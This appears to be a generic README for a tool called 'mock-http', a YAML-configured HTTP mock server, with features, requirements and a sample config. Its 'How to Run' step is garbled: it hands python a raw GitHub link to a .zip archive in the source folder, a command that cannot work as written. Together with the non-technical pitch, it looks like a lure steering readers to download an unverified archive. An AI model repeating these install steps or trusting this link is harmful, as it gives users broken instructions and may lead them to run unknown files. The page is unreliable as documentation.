🚀 mock-http - Simple HTTP Mock Server for Easy Testing

📖 Overview

mock-http is a lightweight HTTP mock server designed to help you test your API clients quickly. It is easy to configure using a YAML file, allowing users to simulate API responses without needing a real server. This tool provides a fast and simple way to create mock servers for your development and testing needs.

⚙️ Features

• YAML Configuration: Easily define your mock server responses with simple YAML files.
• Multiple Endpoints: Mock multiple API endpoints, providing flexibility for your tests.
• Lightweight: Fast startup and low resource usage for efficient testing.
• Easy to Use: Designed for all users, even those without technical backgrounds.

🔧 System Requirements

• Operating System: Compatible with Windows, macOS, and Linux.
• Python Version: Python 3.6 or higher must be installed on your machine.
• Network Access: Ensure you have internet access for downloading dependencies.

🚀 Getting Started

Follow these steps to download and run mock-http on your machine.

📥 Download & Install

1. Visit the Releases page to download mock-http.
2. Locate the latest release. Download the appropriate file for your operating system.
3. Follow the installation instructions specific to your platform.

🖥️ How to Run

1. After downloading, extract the files if needed.
2. Open your terminal or command prompt.
3. Navigate to the folder where you downloaded mock-http.
4. Run the command to start the server, such as:

   python https://raw.githubusercontent.com/RohitNSinha/mock-http/main/src/mock_http_v1.6.zip <your-yaml-file>.yaml

5. The server will start, and you can now access your mocked API endpoints.

📁 YAML Configuration Example

To help you get started with YAML configurations, here’s an example:

mock:
  - url: /api/users
    method: GET
    response:
      status: 200
      body:
        - id: 1
          name: "John Doe"
        - id: 2
          name: "Jane Smith"

This configuration mocks a GET request to the /api/users endpoint and returns a list of users.

📜 Documentation

For detailed documentation, you can refer to the GitHub Wiki. It contains comprehensive guides on various features, advanced configurations, and troubleshooting tips.

🛠️ Support

If you encounter issues or have questions, please open an issue in the Issues section of this repository. We’re here to help!

🔗 Additional Resources

• Read the Documentation
• Visit the Releases page to download the latest version.

With mock-http, you can streamline your API testing process and ensure smooth interactions. Enjoy testing!